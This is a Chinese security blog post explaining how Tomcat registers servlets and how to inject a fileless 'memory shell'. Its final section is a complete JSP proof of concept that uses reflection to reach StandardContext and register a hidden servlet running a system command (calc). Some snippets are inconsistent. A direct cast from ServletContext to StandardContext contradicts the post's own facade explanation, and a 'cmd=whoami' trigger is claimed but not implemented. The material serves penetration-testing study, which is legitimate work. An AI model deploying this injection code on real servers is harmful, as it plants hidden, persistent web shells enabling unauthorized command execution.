文章总结： 本文深入剖析了Servlet内存马的技术原理与实现方法。核心结论是：攻击者可通过反射获取Tomcat的StandardContext对象，动态调用其addChild与addServletMappingDecoded方法，将恶意Servlet注入运行中的Web容器，从而实现无文件WebShell。文章详细解析了Tomcat的Servlet加载机制与StandardContext的关键角色，并提供了从原理分析到完整代码实现的全流程指南，具有很强的可操作性。 综合评分： 86 文章分类： 渗透测试,WEB安全,内网渗透,漏洞分析,安全工具
Java安全之Servlet内存马
子非鱼 子非鱼
船山信安
2026年3月4日 21:12 新加坡
Servlet内存马的技术原理
Tomcat等容器的Servlet加载机制
- 启动与初始化：
- 当Tomcat启动时，它会解析
web.xml文件（或读取@WebServlet注解）来获知需要加载哪些Servlet。 - 对于每个定义的Servlet，容器会创建其类的一个实例，并调用其
init()方法进行一次性初始化。这个过程是静态的，在应用启动时完成。
- 请求处理流程：
- 当一个HTTP请求到达Tomcat时，它首先会被
Connector接收。 - 然后，请求被传递到对应的
Engine->Host->Context（即你的Web应用）。 - 在
Context层面，容器根据请求的URL路径，去查找匹配的Servlet。这个映射关系存储在StandardContext对象的servletMappings属性中。 - 找到对应的Servlet后，容器会调用该Servlet的
service()方法，进而根据请求方法分派到doGet(),doPost()等方法。
- 关键洞察：
- 这个流程的核心是
StandardContext。它是整个Web应用的运行时代表，持有了所有Servlet的定义(children)、映射关系(servletMappings)以及过滤器、监听器等。 - 内存马的目标，就是在运行时动态地向这个
StandardContext中插入一个恶意的Servlet并为其分配一个URL映射。
StandardContext 在 Tomcat 中的角色
-
StandardContext实现了Context接口，而Context接口继承了ServletContext。因此，在 Tomcat 中，StandardContext的实例可以被强转为ServletContext。 -
它是整个 Web 应用的“管理中心”，主要功能包括：
-
解析
web.xml或注解配置 -
注册并管理所有的 Servlet、Filter、Listener
-
提供
addServlet()、addListener()等动态注册 API -
维护请求映射表（URL Pattern → Servlet）
-
触发应用级别的事件（如
ContextInitialized）
为什么它是内存马的关键？ 因为攻击者一旦能获取到
StandardContext实例，就可以绕过web.xml或注解，就可以通过 Wrapper 动态注册 Servlet，将恶意 Servlet 注入到当前应用中 —— 这正是 Servlet 型内存马的核心入口。
关键组件详解
1. Context（上下文）
-
对应一个完整的 Web 应用（如
myapp.war） -
在 Tomcat 中实现类为
StandardContext -
职责：
-
管理该应用下的所有 Servlet、Filter、Listener
-
维护
ServletContext对象（全局唯一的上下文环境） -
处理 URL 映射（mapping）
-
支持动态添加/移除 Servlet（Servlet 3.0+）
ServletContext context = request.getServletContext();
2. Wrapper
- 是 Tomcat 内部对 Servlet的封装
- 每个 Servlet 都对应一个
Wrapper实例 - 负责 Servlet 的生命周期管理（创建、初始化、调用、销毁）
- 可通过
Context.findChildren()获取所有 Wrapper
StandardContext ctx = ...;
Object[] wrappers = ctx.findChildren(); // 返回 Wrapper 数组
for (Object wrapper : wrappers) {
System.out.println("Servlet Name: " + ((Wrapper)wrapper).getName());
}
3. Servlet
- 用户编写的业务逻辑类（如
LoginServlet.java） - 被
Wrapper包装后由容器统一调度
核心原理
Servlet 内存马的本质是动态向 Web 容器（如 Tomcat、Jetty）注册一个恶意 Servlet，并通过容器的请求分发机制触发恶意代码。其核心依赖于：
- Web 容器的 Servlet 注册机制（如 Tomcat 的
ServletContext接口）； - 反射技术获取容器内部对象（避开权限限制）；
- 恶意 Servlet 的
service方法作为触发点（处理 HTTP 请求时执行恶意逻辑）。
代码演示
Servlet简单演示
写一个简单的servlet
package org.example.listendemo;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class ServletDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
// 获取请求参数
String name = req.getParameter("name");
if (name == null) name = "Guest";
// 响应结果
resp.getWriter().write("Hello, " + name + "!");
}
}
功能：接收前端的name参数，返回 “Hello, XXX”。
然后在web.xml中配置进行静态注册
<servlet>
<servlet-name>ServletDemo</servlet-name>
<servlet-class>org.example.listendemo.ServletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletDemo</servlet-name>
<url-pattern>/servletdemo</url-pattern>
</servlet-mapping>
然后配置好Tomcat后启动项目, 访问该url: /servletdemo http://localhost:8080/LIstenDemo_war_exploded/servletdemo 然后就可以看到页面输出了
注意
但是在这个过程中, 可以看到我们配置路径实在web.xml中静态注册, 或者也可以使用@WebServlet配置, 但都是静态配置, 提前配置好的 这个注册过程在Tomcat启动之前就好了, 运行时无法修改 但内存马的目标时在运行时偷偷测住Servlet, 跳过静态配置 所以在运行时调用 Tomcat 的
addServlet和addMapping方法，就能注册一个 “看不见” 的 Servlet 了—— 这就是内存马的核心思路。
内存马
由此, 我们就可以手搓一个内存马 首先分析上面servlet的执行过程, 先进行配置. 因为要分析tomcat, 所以在pom.xml中添加配置, 版本和自己的Tomcat的版本保持一致
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.58</version>
</dependency>
在分析Servlet的执行流程过程前, 可以通过下面文章了解Tomcat的执行过程. Tomcat请求流程源码调试 | 三大组件内存马浅析: https://mp.weixin.qq.com/s/eVo2ldW_Vemy31HZR0vUbw Tomcat源码初识一 Tomcat整理流程图
在Tomcat中，Servlet的加载过程分为两个主要阶段：应用启动时的静态配置加载和运行时的动态注册。ContextConfig.configureContext(WebXml webxml)主要负责第一种情况。 ContextConfig.configureContext(WebXml webxml)的作用 ContextConfig是Tomcat中负责配置Context容器的类，它会读取web.xml文件并将配置信息应用到StandardContext中。
静态配置加载过程
当Tomcat启动Web应用时，会执行以下步骤：
-
解析web.xml文件：
-
ContextConfig读取并解析web.xml文件
-
将配置信息存储在WebXml对象中
-
调用configureContext方法：
-
ContextConfig.configureContext(WebXml webxml)方法会处理WebXml中的配置
-
对于Servlet配置，会创建Wrapper并添加到StandardContext 除了
web.xml，ContextConfig还会扫描类路径下的@WebServlet、@WebFilter等注解（需metadata-complete="false"），并将它们合并到WebXml对象中，后续处理逻辑完全一致 上面项目通过web.xml配置加载的： 当Tomcat启动时，ContextConfig会：
-
解析这段配置
-
在configureContext方法中创建一个名为”ServletDemo”的Wrapper
-
将Wrapper添加到StandardContext的children容器中
-
添加URL映射关系：”/servletdemo” -> “ServletDemo” 所以在org.apache.catalina.startup.ContextConfig文件configureContext方法打个断点进行分析
断点后调试, 分析
servlets是一个HashMap类型的变量，用于存储 Web 应用中所有已配置的 Servlet 的相关信息 ，键是 Servlet 的名称，值是ServletDef类型的对象servletMappings是一个HashMap类型的变量，它维护了 URL 模式和 Servlet 名称之间的映射关系 ，即通过这个数据结构，Tomcat 能够知道当接收到某个 URL 请求时，应该将请求转发给哪个 Servlet 进行处理。 configureContext中的处理流程 在configureContext方法中，对于Servlet配置的处理大致如下：
// 简化的处理流程
protected void configureContext(WebXml webxml) {
// 处理Servlet定义
for (ServletDef servletDef : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
wrapper.setName(servletDef.getServletName());
wrapper.setServletClass(servletDef.getServletClass());
// 设置其他属性...
// 添加到Context容器
context.addChild(wrapper);
}
// 处理Servlet映射
for (ServletMappingDef mapping : webxml.getServletMappings()) {
context.addServletMappingDecoded(
mapping.getUrlPattern(),
mapping.getServletName());
}
// 处理其他配置...
}
在这里核心代码就是
这两行, 所以在注入内存马的时候, 只需要调用
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
所以需要获取context, 分析调用堆栈, 可知context来自于StandardContext
ContextConfig是StandardContext的生命周期监听器（LifecycleListener）。在 Tomcat 启动时，StandardContext会将自身作为事件源传递给ContextConfig，因此ContextConfig.context字段实际指向的就是当前 Web 应用的StandardContext实例。
这是正常的静态配置的接在servlet的过程
动态配置–注入内存马
基于上面的分析, 我们只需要能够获取StandardContext实列,然后调用addChild()和addServletMappingDecoded()方法就可以注入内存马
虽然StandardContext提供了addChild()方法，但问题是：
StandardContext是 Tomcat 内部实现类，不在标准 API 中暴露。- 我们的恶意代码运行在 Servlet 或 Filter 中，无法直接引用它。 但我们有一个“合法入口”——每个 HTTP 请求都能访问的：
ServletContext servletContext = request.getServletContext();
这个servletContext对象看似只是一个标准接口，但实际上它背后隐藏着StandardContext的真实实例。我们要做的，就是通过反射一层层“剥开”它的包装。
- Tomcat 的包装结构：三层嵌套
在 Tomcat 中，ServletContext的实现采用了门面模式（Facade Pattern），目的是对外暴露安全接口，隐藏内部复杂结构。
其真实结构如下：
request.getServletContext()
↓
返回类型：ServletContext (接口)
↓
实际对象：ApplicationContextFacade ← 我们拿到的“门面”
↓
applicationContext (字段) → ApplicationContext ← 中间包装
↓
context (字段) → StandardContext ← 真实目标
| 类名 | 作用 |
| — | — |
| ServletContext | Java EE 标准接口，应用层唯一可见的入口 |
| ApplicationContextFacade | 门面类，防止用户直接操作内部对象 |
| ApplicationContext | 内部包装类，持有对 StandardContext的引用 |
| StandardContext | Tomcat 核心类，真正管理 Servlet 的生命周期 |
基于此, 构造servlet内存马
流程:
- 创建恶意Servlet类
- 获取context：StandardContext（通过反射）
- 从context获取Wrapper对象
- 将自己的Servlet封装进wrapper对象
- 将wrapper添加到上下文并设置映射路径
1. 创建恶意Servlet类
#
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA. User: 14109 Date: 2025/10/18 Time: 15:41 To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 定义一个恶意servlet
public class ShellServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
2. 获取context：StandardContext（通过反射）
// 方式1：通过 request（最常用）
ServletContext servletContext = request.getServletContext();
StandardContext standardContext = (StandardContext) servletContext;
// 方式2：通过 Thread Context ClassLoader（无 request 时）
WebAppClassLoader webAppClassLoader = (WebAppClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webAppClassLoader.getContext();
为什么能强转？
因为 Tomcat 中StandardContext实现了ServletContext接口。
3. 调用context.createWrapper()创建一个全新的 Wrapper。
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evil"); // Servlet 名称（必须唯一）
wrapper.setServlet(evilServlet); // 直接设置 Servlet 实例（绕过类加载）
关键点：
- 不要调用
setServletClass()（那样会走类加载 + init，可能失败）- 直接
setServlet(instance)才能确保恶意逻辑生效
4. 将 Wrapper 添加到 StandardContext
standardContext.addChild(wrapper);
- 这会将 wrapper 加入
StandardContext.children容器 - 后续请求分发时，Tomcat 能找到这个 Servlet
5. 注册 URL 映射路径
standardContext.addServletMappingDecoded("/evil", "evil");
- 第一个参数：访问路径（如
/evil） - 第二个参数：Servlet 名称（必须与
wrapper.setName()一致）
此时访问
http://target/evil?cmd=whoami即可触发内存马。
完整内存马
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %> <!-- 导入反射相关类，用于突破 private 限制 -->
<%@ page import="org.apache.catalina.core.*" %> <!-- 导入 Tomcat 核心类：StandardContext、ApplicationContext 等 -->
<%@ page import="org.apache.catalina.Wrapper" %> <!-- Wrapper 是 Tomcat 中包装 Servlet 的容器组件 -->
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
文件名: memshell.jsp
功能: Tomcat Servlet 型内存马注入 PoC
作者: [你的名字]
日期: 2025年10月18日
描述: 通过反射获取 StandardContext，动态注册恶意 Servlet，实现无文件 WebShell。
--%>
<%!
// ==================== 定义恶意 Servlet（静态内部类）====================
// 注意：此处 ShellServlet 虽未显式声明为 static，但在实际运行中仍可能被当作 static 处理
// 但为了安全起见，建议显式添加 static，避免持有外部 JSP 实例引用导致类加载问题
public class ShellServlet extends HttpServlet {
// 构造函数（可选）
public ShellServlet() {
super();
}
// 重写 doGet 方法，处理 HTTP GET 请求
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
// 执行系统命令：弹出计算器（Windows 系统）
Runtime.getRuntime().exec("calc");
// 其他平台示例：
// macOS: Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
// Linux: Runtime.getRuntime().exec("gnome-calculator");
} catch (Exception e) {
// 异常不会返回给客户端，但会记录在服务器日志中
e.printStackTrace();
}
}
// 重写 doPost 方法，使其与 doGet 行为一致
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
doGet(request, response);
}
}
%>
<%
// ==================== 获取 StandardContext 实例 ====================
// 目标：获取 Tomcat 的 StandardContext 对象，它是管理 Servlet 生命周期的核心组件
// 路径：ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
// 原理：Tomcat 使用门面模式（Facade）保护内部对象，我们通过反射“剥开”这层封装
// 从当前请求中获取 ServletContext 对象
// ServletContext 是整个 Web 应用的全局上下文，每个请求都能访问
ServletContext servletContext = request.getServletContext();
try {
// --- 第一步：从 ServletContext 获取 ApplicationContext ---
// request.getServletContext() 返回的是 org.apache.catalina.core.ApplicationContextFacade
// 它是一个门面类，内部通过 private 字段 context 持有真正的 ApplicationContext 实例
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
// setAccessible(true) 允许访问 private 字段，突破 Java 访问控制
applicationContextField.setAccessible(true);
// 获取 ApplicationContext 实例
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 此时我们拿到了 ApplicationContext，它是 ApplicationContextFacade 的内部包装对象
// --- 第二步：从 ApplicationContext 获取 StandardContext ---
// ApplicationContext 内部通过 protected 字段 context 持有 StandardContext 的引用
// StandardContext 是 Tomcat 中对应 <Context> 的实现类，负责管理 Servlet、Filter 等
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
// 获取 StandardContext 实例
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 成功获取 StandardContext！现在我们可以动态注册 Servlet 了
// ==================== 创建并配置 Wrapper ====================
// 在 Tomcat 中，Servlet 不是直接添加到 Context 的，而是通过 Wrapper 包装
// Wrapper 是 Tomcat 的“管道”组件，用于封装 Servlet 实例及其配置
// 创建一个新的 Wrapper 实例
Wrapper wrapper = standardContext.createWrapper();
// 设置 Wrapper 的名称（唯一标识符）
wrapper.setName("memshell");
// 这个名称将在 addServletMappingDecoded 中使用，必须唯一且一致
// 设置 Wrapper 要加载的 Servlet 类名
// 注意：setServletClass() 是告诉容器“按需加载”该类
// 但因为我们已经 new 了一个实例，所以这个设置不是必须的
wrapper.setServletClass(ShellServlet.class.getName());
// 直接设置 Servlet 实例（推荐方式）
// 这样可以避免类加载器找不到内部类的问题（如 JSP 编译后的 $ShellServlet）
wrapper.setServlet(new ShellServlet());
// ==================== 注册 Servlet 到容器 ====================
// 将包装好的 Wrapper 添加到 StandardContext 的子组件列表中
// 相当于在 web.xml 中定义了：
// <servlet>
// <servlet-name>memshell</servlet-name>
// <servlet-class>ShellServlet</servlet-class>
// </servlet>
standardContext.addChild(wrapper);
// 将 URL 路径 "/memshell" 映射到名为 "memshell" 的 Servlet
// addServletMappingDecoded 表示路径已经是解码状态（无需 URL 解码）
// 相当于在 web.xml 中定义了：
// <servlet-mapping>
// <servlet-name>memshell</servlet-name>
// <url-pattern>/memshell</url-pattern>
// </servlet-mapping>
standardContext.addServletMappingDecoded("/memshell", "memshell");
// 可选：向客户端返回成功信息
out.println("<html><body><h3> Memory Shell Injected!</h3>");
out.println("Access <a href='/memshell'>/memshell</a> to trigger calc.</body></html>");
} catch (Exception e) {
// 捕获所有异常，防止页面崩溃暴露细节
out.println("<html><body><h3>
Injection Failed: " + e.getMessage() + "</h3></body></html>");
// 打印堆栈到服务器日志（仅管理员可见）
e.printStackTrace();
}
%>
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